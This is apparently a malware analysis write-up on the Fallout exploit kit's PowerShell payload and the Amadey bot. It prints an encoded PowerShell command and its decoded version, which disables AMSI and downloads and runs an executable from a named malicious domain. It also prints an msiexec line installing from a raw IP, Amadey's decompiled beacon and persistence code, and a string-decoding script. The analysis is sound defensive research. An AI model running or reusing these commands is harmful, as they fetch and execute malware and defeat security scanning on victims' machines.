'0x19f3044b'

Like v3, shellcode downloads, decodes and executes encrypted PowerShell code.

PowerShell

The PowerShell code to be executed is like this.

powershell.exe -w hidden -noni -enc dAByAHkAewAkAGwAMQBJAGwAMQA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQA7ACQAbAAxAEkAbAAxAGwASQAxAEkASQBsAD0AJABsADEASQBsADEALgBHAGUAdABUAHkAcABlACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFUAMwBsAHoAZABHAFYAdABMAGsAMQBoAGIAbQBGAG4AWgBXADEAbABiAG4AUQB1AFEAWABWADAAYgAyADEAaABkAEcAbAB2AGIAaQA1AEIAYgBYAE4AcABWAFgAUgBwAGIASABNAD0AJwApACkAKQA7ACQASQAxAEkAbAAxADEAbAAxAEkAbAA9ACQAbAAxAEkAbAAxAGwASQAxAEkASQBsAC4ARwBlAHQARgBpAGUAbABkACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFkAVwAxAHoAYQBVAGwAdQBhAFgAUgBHAFkAVwBsAHMAWgBXAFEAPQAnACkAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAkAEkAMQBJAGwAMQAxAGwAMQBJAGwALgBTAGUAdABWAGEAbAB1AGUAKAAkAG4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AH0AYwBhAHQAYwBoAHsAfQA7AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAIgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABJADEAbABJAEkAMQBJAGwAMQB7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAEkAbABJADEAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAbABJAGwAMQBJADEASQBJADEAbAA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkASQBJAEkASQBsAEkASQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAbAAxADEAMQBsAEkAbAAxAEkAMQBJADsAfQBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwALABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAFUAbgBpAGMAbwBkAGUAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABsAEkAMQBsAGwAMQBJAGwAMQBJADEAbAB7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkASQBJAGwASQA7AHAAdQBiAGwAaQBjACAAcwB0AHIAaQBuAGcAIABJAGwAMQBsADEAOwBwAHUAYgBsAGkAYwAgAHMAdAByAGkAbgBnACAAbABJADEAbABsADsAcAB1AGIAbABpAGMAIABzAHQAcgBpAG4AZwAgAEkAbAAxADEAMQBJAEkASQBsADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQAxAGwASQBsADEAbABsADEASQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAbABJAEkASQBsADEAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABsAGwAMQAxAEkAbABsADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQBsADEASQBsAEkAbAAxADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABJAGwASQBJAEkAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABsAEkAMQBsAEkAbABJADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABJADEAbAAxADEAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABJAGwAbAAxAEkAbAA7AHAAdQBiAGwAaQBjACAAcwBoAG8AcgB0ACAASQBsAEkASQAxADsAcAB1AGIAbABpAGMAIABzAGgAbwByAHQAIABJAGwAbABJAGwAbAA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABsAGwASQBsAEkAbABJAGwASQA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAGwAbAAxAEkAbABJAGwASQA7AHAAdQBiAGwAaQBjACAASQBuAHQAUAB0AHIAIABJAGwAbABJAGwAbABsAEkAMQBJADEAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAASQAxAEkASQBJADsAfQA7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABsADEASQBsADEAMQBJAEkASQB7AFsARABsAGwASQBtAHAAbwByAHQAKAAiACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAiACwAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAoAHMAdAByAGkAbgBnACAASQBJAGwASQBJAEkALABzAHQAcgBpAG4AZwAgAEkAbABJAGwASQAsAEkAbgB0AFAAdAByACAASQAxADEAbAAxAEkALABJAG4AdABQAHQAcgAgAGwAMQBsAEkAMQAsAGIAbwBvAGwAIABJAGwASQAxADEASQBJADEAMQAxADEALAB1AGkAbgB0ACAAbAAxADEAMQBJACwASQBuAHQAUAB0AHIAIABsAEkASQBJADEASQBsAGwASQAsAHMAdAByAGkAbgBnACAASQAxAEkAbAAxAGwASQAsAHIAZQBmACAAbABJADEAbABsADEASQBsADEASQAxAGwAIABsAGwAMQAxAEkASQBsADEASQAsAG8AdQB0ACAASQAxAGwASQBJADEASQBsADEAIABsAEkASQAxAEkASQApADsAfQAiADsAJABsAGwAbAAxAEkAbABsAEkAMQA9ACIAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwATABvAHcAXAAkACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwApACsAKAA2ADUALgAuADkAMAApACsAKAA5ADcALgAuADEAMgAyACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4AHwAJQB7AFsAYwBoAGEAcgBdACQAXwB9ACkAKQAuAHQAbQBwACIAOwAkAEkAMQBsADEAMQBJADEAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAGEAaABlAHIAbwA0AHUALgBjAG8AbQAvADEAOQA1ADAALQAwADEALQAxADEALwBPADgAWgByACcAOwBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcASgBHAE4AcwBhAFQAMABvAFQAbQBWADMATABVADkAaQBhAG0AVgBqAGQAQwBCAE8AWgBYAFEAdQBWADIAVgBpAFEAMgB4AHAAWgBXADUAMABLAFQAcwBrAFkAMgB4AHAATABrAGgAbABZAFcAUgBsAGMAbgBOAGIASgAxAFYAegBaAFgASQB0AFEAVwBkAGwAYgBuAFEAbgBYAFQAMABuAFMAagBVADMAVQBEAGwANQBNAFcAawB6AE0ARQAwAHgATQBEAEoAWQBOAFMAYwA3AEoARwBOAHMAYQBTADUARQBiADMAZAB1AGIARwA5AGgAWgBFAFoAcABiAEcAVQBvAEoARQBrAHgAYgBEAEUAeABTAFQARQBzAEoARwB4AHMAYgBEAEYASgBiAEcAeABKAE0AUwBrADcAJwApACkAfABpAGUAeAA7ACQASQAxAEkAMQBsADEASQBJAGwAbABJADEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAbABJADEAbABsADEASQBsADEASQAxAGwAOwAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxAC4ASQBsAEkASQAxAD0AMAB4ADAAOwAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxAC4ASQBJAEkAbABJAD0AWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAUwBpAHoAZQBPAGYAKAAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxACkAOwAkAEkASQBsADEASQBsADEASQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJADEAbABJAEkAMQBJAGwAMQA7AFsAbAAxAEkAbAAxADEASQBJAEkAXQA6ADoAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAoACQAbABsAGwAMQBJAGwAbABJADEALAAkAGwAbABsADEASQBsAGwASQAxACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAJABmAGEAbABzAGUALAAwAHgAMAAwADAAMAAwADAAMAA4ACwAWwBJAG4AdABQAHQAcgBdADoAOgBaAGUAcgBvACwAIgBjADoAIgAsAFsAcgBlAGYAXQAkAEkAMQBJADEAbAAxAEkASQBsAGwASQAxACwAWwByAGUAZgBdACQASQBJAGwAMQBJAGwAMQBJACkAfABvAHUAdAAtAG4AdQBsAGwAOwA=

Let’s decode and clean.

try {
    $l1Il1 = [Ref].Assembly;
    $l1Il1lI1IIl = $l1Il1.GetType("System.Management.Automation.AmsiUtils");
    $I1Il11l1Il = $l1Il1lI1IIl.GetField("amsiInitFailed", 'NonPublic,Static');
    $I1Il11l1Il.SetValue($null, $true);
}
catch { };

Add-Type -TypeDefinition "using System;using System.Diagnostics;using System.Runtime.InteropServices;[StructLayout(LayoutKind.Sequential)]public struct I1lII1Il1{public IntPtr IIlI1;public IntPtr lIl1I1II1l;public uint IIIIIlII;public uint Il111lIl1I1I;}[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]public struct lI1ll1Il1I1l{public uint IIIlI;public string Il1l1;public string lI1ll;public string Il111IIIl;public uint I1lIl1ll1I;public uint IlIIIl1;public uint ll11Ill;public uint Il1IlIl1;public uint lIlIII;public uint lI1lIlI;public uint lI1l11;public uint Ill1Il;public short IlII1;public short IllIll;public IntPtr llIlIlIlI;public IntPtr Ill1IlIlI;public IntPtr IllIlllI1I1;public IntPtr I1III;};public static class l1Il11III{[DllImport(""kernel32.dll"",SetLastError=true)]public static extern bool CreateProcess(string IIlIII,string IlIlI,IntPtr I11l1I,IntPtr l1lI1,bool IlI11II1111,uint l111I,IntPtr lIII1IllI,string I1Il1lI,ref lI1ll1Il1I1l ll11IIl1I,out I1lII1Il1 lII1II);}";

$lll1IllI1 = "$env:userprofile\AppData\LocalLow\$(-join((48..57)+(65..90)+(97..122)|Get-Random -Count 8|%{[char]$_})).tmp";
$I1l11I1 = 'http://beahero4u.com/1950-01-11/O8Zr';
$cli = (New-Object Net.WebClient);
$cli.Headers['User-Agent'] = 'J57P9y1i30M102X5';
$cli.DownloadFile($I1l11I1, $lll1IllI1);
$I1I1l1IIllI1 = New-Object lI1ll1Il1I1l;
$I1I1l1IIllI1.IlII1 = 0x0;
$I1I1l1IIllI1.IIIlI = [System.Runtime.InteropServices.Marshal]::SizeOf($I1I1l1IIllI1);
$IIl1Il1I = New-Object I1lII1Il1;
[l1Il11III]::CreateProcess($lll1IllI1, $lll1IllI1, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0x00000008, [IntPtr]::Zero, "c:", [ref]$I1I1l1IIllI1, [ref]$IIl1Il1I) | out-null;

Thus the malware is downloaded and executed.

Conclusion

Fallout has been heavily updated, making analysis very difficult. Very sophisticated techniques such as Diffie-Hellman key exchange, VM detection, process detection, etc. are used. We need to be careful as they may be updated in the future.

Analyzing Amadey

Initial Access

Amedey is installed by msiexec.exe when you open a malicious excel file. From the document file technique, the threat actor is considered TA505.

https://app.any.run/tasks/3430e711-7bb1-49b4-ac07-86b1a6b5c784

The download URL is as follows:

msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw='%TEMP%'

First payload

First payload is packed. Extract the original PE using the hollows_hunter mode of tknk_scanner.

Amadey

The dumped PE is compiled with MinGW.

PE: compiler: MinGW(-)[-]
PE: linker: GNU linker ld (GNU Binutils)(2.56*)[EXE32]

It contains symbol information. Amedey has the following functions:

_Z10aBypassUACv    
_Z10aCharToIntPc
_Z10aGetOsArchv    
_Z10aIntToChari    
_Z11aAutoRunSetPc
_Z11aCheckAdminv    
_Z11aCreateFilePc    
_Z11aFileExistsPKc    
_Z11aGetTempDirv    
_Z11aProcessDllPcS_
_Z11aProcessExePcS_S_S_    
_Z11aRunAsAdminPc    
_Z12aGetHostNamev    
_Z12aGetSelfPathv    
_Z12aGetUserNamev    
_Z12aProcessTaskPc    
_Z12aResolveHostPc    
_Z12aWinSockPostPcS_S_
_Z13aDropToSystemPc    
_Z13aGetProcessILv    
_Z14aCreateProcessPc    
_Z14aGetProgramDirv    
_Z15aUrlMonDownloadPcS_    
_Z16aDirectoryExistsPc    
_Z16aExtractFileNamePc    
_Z16aGetHomeDriveDirv    
_Z16aProcessDllLocalPcS_S_S_    
_Z16aProcessExeLocalPcS_S_S_    
_Z19aGetSelfDestinationi    
_Z5aCopyPcii    
_Z5aParsPcS_    
_Z6aBasici    
_Z6aGetIdv    
_Z6aGetOsv    
_Z6aMkDirPc    
_Z7aPathAVPc    
_Z7aRaportPcS_    
_Z8aCheckAVv    
_Z8aDecryptPc    
_Z8aPosLastPcS_    
_Z9aCopyFilePcS_    
_Z9aFileSizePc    
_Z9aFillCharPc    
_Z9aFreeFilePc    
_Z9aPosFirstPcS_    
_Z9aRunDll32PcS_

The main function is as follows.

int __cdecl main(int _Argc,char **_Argv,char **_Env)

{
  char *pcVar1;
  
                    /* 0x3ac8  97  main */
  FUN_00404020();
  FUN_00403cc0();
  _Z10aBypassUACv();
  pcVar1 = _Z12aGetSelfPathv();
  _Z13aDropToSystemPc(pcVar1);
  pcVar1 = _Z19aGetSelfDestinationi(0);
  _Z11aAutoRunSetPc(pcVar1);
  _Z6aBasici(0);
  return 0;
}

The _Z6aBasici function is as follows.

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void __cdecl _Z6aBasici(int param_1)

{
  char *_Source;
  uint uVar1;
  int iVar2;
  
                    /* 0x33fe  32  _Z6aBasici */
  FUN_00404020();
  _Z9aFillCharPc(&stack0xffffeff4);
  _Z9aFillCharPc(&stack0xffffddf4);
  _Z9aFillCharPc(&stack0xffffdbf4);
  _Source = _Z8aDecryptPc(&aDomain);
  strcat(&stack0xffffddf4,_Source);
  _Source = _Z8aDecryptPc(&aScript);
  strcat(&stack0xffffdbf4,_Source);
  _Source = _Z8aDecryptPc(&aParam0);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z6aGetIdv();
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam1);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aVers);
  strcat(&stack0xffffeff4,_Source);
  uVar1 = _Z11aCheckAdminv();
  if ((uVar1 & 0xff) == 1) {
    _Source = _Z8aDecryptPc(&aParam2);
    strcat(&stack0xffffeff4,_Source);
    strcat(&stack0xffffeff4,"1");
  }
  else {
    _Source = _Z8aDecryptPc(&aParam2);
    strcat(&stack0xffffeff4,_Source);
    strcat(&stack0xffffeff4,"0");
  }
  _Source = _Z8aDecryptPc(&aParam3);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z10aGetOsArchv();
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam4);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z10aIntToChari(param_1);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam5);
  strcat(&stack0xffffeff4,_Source);
  iVar2 = _Z6aGetOsv();
  _Source = _Z10aIntToChari(iVar2);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam6);
  strcat(&stack0xffffeff4,_Source);
  uVar1 = _Z8aCheckAVv();
  _Source = _Z10aIntToChari(uVar1);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam7);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z12aGetHostNamev();
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z8aDecryptPc(&aParam8);
  strcat(&stack0xffffeff4,_Source);
  _Source = _Z12aGetUserNamev();
  strcat(&stack0xffffeff4,_Source);
  strcat(&stack0xffffeff4,"&");
  if (param_1 == 0) {
    do {
      _Z9aFillCharPc(&stack0xffffdff4);
      _Source = _Z12aWinSockPostPcS_S_(&stack0xffffddf4,&stack0xffffdbf4,&stack0xffffeff4);
      strcat(&stack0xffffdff4,_Source);
      _Z5aParsPcS_(&stack0xffffdff4,"#");
      Sleep(_aTimeOut);
    } while( true );
  }
  if (param_1 == 1) {
    _Z12aWinSockPostPcS_S_(&stack0xffffddf4,&stack0xffffdbf4,&stack0xffffeff4);
  }
  return;
}

Some important parameters are encoded. However, the encoding algorithm is very simple.

key is 8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7

Finally, we analyze the decoded string and the name of the function in which it was used.

Here is the simple python script.

'''
domain=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D]
AutoRunCmdr=[0x8A, 0xAA, 0xA9, 0x84, 0x74, 0x7D, 0x7D, 0x54, 0x58, 0x81, 0x7E, 0xA5, 0x85, 0xC0, 0x87, 0xA8, 0x9D, 0xAA, 0xA7, 0x93, 0xA3, 0x9C, 0x91, 0x85, 0xCC, 0x95, 0xD6, 0xA6, 0xD5, 0xD5, 0xCC, 0xAB, 0x95, 0x8A, 0xCB, 0x9E, 0xC8, 0xA3, 0xB0, 0xAA, 0x92, 0x73, 0xA7, 0xA3, 0xA9, 0x9A, 0xA6, 0xD7, 0x88, 0xC9, 0xA9, 0xD5, 0xCF, 0xD5, 0xA5, 0x94, 0xAA, 0xDA, 0xD4, 0x9F, 0xA8, 0xAB, 0x99, 0xA8, 0x95, 0x88, 0xD5, 0x95, 0xD6, 0x54, 0x8C, 0x9F, 0x9B, 0x9C, 0x9E, 0x51, 0x7D, 0xA4, 0xA4, 0xC7, 0x97, 0xD6, 0xAA, 0x84, 0x86, 0x95, 0x9D, 0x59, 0x62, 0xD8, 0x50, 0xB7, 0xA8, 0x9A, 0xA9, 0xAA, 0xA5, 0xA2, 0x51, 0x66, 0xA9, 0x58, 0xB5, 0x77, 0xAB, 0x96, 0xB5, 0xC0, 0x86, 0x66, 0x9C, 0x85]
AV00=[0x79, 0xBB, 0xA3, 0xB7, 0x87, 0x59, 0x8C, 0xA3, 0x9C, 0xAD, 0xAA, 0xC3, 0xA2, 0xC9]#AV00
AV01=[0x79, 0xDB, 0xCB, 0xD6, 0x94]
AV02=[0x83, 0xC6, 0xD5, 0xD4, 0x98, 0xAB, 0xAC, 0x9F, 0xAF, 0x59, 0x7F, 0xC3, 0x92]
AV03=[0x7D, 0xB8, 0xA7, 0xB8]
AV04=[0x88, 0xC6, 0xD0, 0xC8, 0x94, 0x59, 0x8C, 0x99, 0x99, 0xAE, 0xA5, 0xCB, 0xA4, 0xDD]
AV05=[0x7C, 0xD4, 0xC5, 0xD8, 0xA2, 0xAB, 0x59, 0x8B, 0x9B, 0x9B]
AV06=[0x79, 0xBB, 0xA9]
AV07=[0x6B, 0x9B, 0x92, 0xB8, 0xA2, 0xAD, 0x9A, 0xA0, 0x89, 0x9E, 0x96, 0xD7, 0xA2, 0xCD, 0xA8, 0xB2]
AV08=[0x7A, 0xCE, 0xD6, 0xC8, 0x98, 0x9F, 0x9E, 0xA2, 0x9A, 0x9E, 0xA5]
AV09=[0x86, 0xD4, 0xD4, 0xD8, 0xA2, 0xA7]
AV10=[0x8B, 0xD4, 0xD2, 0xCC, 0xA2, 0xAC]
AV11=[0x7B, 0xD4, 0xCF, 0xD3, 0x97, 0xA8]
CMD0=[0x74, 0xC8, 0xA0]
CMD1=[0x74, 0xC9, 0xA0]
DLL=[0x9C, 0xD1, 0xCE]
DropDir=[0x9E, 0x9B, 0x96, 0xC5, 0x67, 0x6B, 0x71, 0x98, 0x9C, 0x9D]
DropName=[0x9B, 0xD2, 0xD7, 0xC5, 0x9F, 0xAB, 0x9C, 0x62, 0x9B, 0xB1, 0x98]
exe=[0x9D, 0xDD, 0xC7]
GetProgDir=[0x88, 0xD7, 0xD1, 0xCB, 0xA5, 0x9A, 0xA6, 0x78, 0x97, 0xAD, 0x94, 0xBE]
OS_AR0=[0xA3, 0xCA, 0xD4, 0xD2, 0x98, 0xA5, 0x6C, 0x66, 0x64, 0x9D, 0x9F, 0xCE]
OS_AR1=[0x7F, 0xCA, 0xD6, 0xB2, 0x94, 0xAD, 0xA2, 0xAA, 0x9B, 0x8C, 0xAC, 0xD5, 0xA4, 0xC9, 0xA1, 0x82, 0xA5, 0x9C, 0x9F]
Param0=[0xA1, 0xC9, 0x9F]
Param1=[0x5E, 0xDB, 0xD5, 0xA1]
Param2=[0x5E, 0xC6, 0xD4, 0xA1]
Param3=[0x5E, 0xC7, 0xCB, 0xA1]
Param4=[0x5E, 0xD1, 0xD8, 0xA1]
Param5=[0x5E, 0xD4, 0xD5, 0xA1]
Param6=[0x5E, 0xC6, 0xD8, 0xA1]
Param7=[0x5E, 0xD5, 0xC5, 0xA1]
Param8=[0x5E, 0xDA, 0xD0, 0xA1]
Post0=[0x45, 0x6F]
Post1=[0x58, 0xAD, 0xB6, 0xB8, 0x83, 0x68, 0x6A, 0x62, 0x67]
Post2=[0x79, 0xC8, 0xC5, 0xC9, 0xA3, 0xAD, 0x73, 0x54, 0x60, 0x68, 0x5D]
Post3=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x8A, 0xB2, 0xA3, 0xC7, 0x6A, 0x84, 0x95, 0xA9, 0xA7, 0xA2, 0x99, 0x95, 0x92, 0xAB, 0x9E, 0xA7, 0xD1, 0x61, 0xDC, 0x64, 0xD9, 0xDD, 0xDD, 0x64, 0x9F, 0xA2, 0xD4, 0x9D, 0x91, 0xA9, 0xAB, 0xA3, 0x9B, 0x9E, 0x95, 0xA0, 0x9B, 0x9A, 0x9C]
Post4=[0x80, 0xD4, 0xD5, 0xD8, 0x6D, 0x59]
Post5=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x82, 0x9E, 0xA1, 0xC9, 0xA4, 0xCC, 0x6E, 0x59]
Post6=[0x88, 0xB4, 0xB5, 0xB8, 0x53, 0x68]
RunAs=[0xAA, 0xDA, 0xD0, 0xC5, 0xA6]
RunDll_0=[0xAA, 0xDA, 0xD0, 0xC8, 0x9F, 0xA5, 0x6C, 0x66, 0x64, 0x9E, 0xAB, 0xC7, 0x50]
Script=[0xA8, 0xD5, 0xCD, 0x93, 0x9C, 0xA7, 0x9D, 0x99, 0xAE, 0x67, 0xA3, 0xCA, 0xA0]
Shell=[0x8B, 0xAD, 0xA7, 0xB0, 0x7F, 0x6C, 0x6B, 0x62, 0x7A, 0x85, 0x7F]
TimeOut=[0x60, 0xEA, 0x00, 0x00, 0x44]
URLMon_0=[0xAD, 0xD7, 0xCE, 0xD1, 0xA2, 0xA7]
URLMon_1=[0x8D, 0xB7, 0xAE, 0xA8, 0xA2, 0xB0, 0xA7, 0xA0, 0xA5, 0x9A, 0x97, 0xB6, 0x9F, 0xAA, 0x9D, 0xA5, 0x9C, 0x77]
Vers=[0x69, 0x93, 0x94, 0x96]
ZoneIdent =[0x72, 0xBF, 0xD1, 0xD2, 0x98, 0x67, 0x82, 0x98, 0x9B, 0xA7, 0xA7, 0xCB, 0x96, 0xCD, 0x99, 0xAB]
'''

encoded_str=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D]

Key="8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7"
c=0

while(1):
    length = len(encoded_str)
    if length <= c:
        break
    length = len(Key);
    print(chr(encoded_str[c] - ord(Key[c % length])), end='')
    #print(encoded_str[c] - ord(Key[c % length]), end='')
    c += 1

References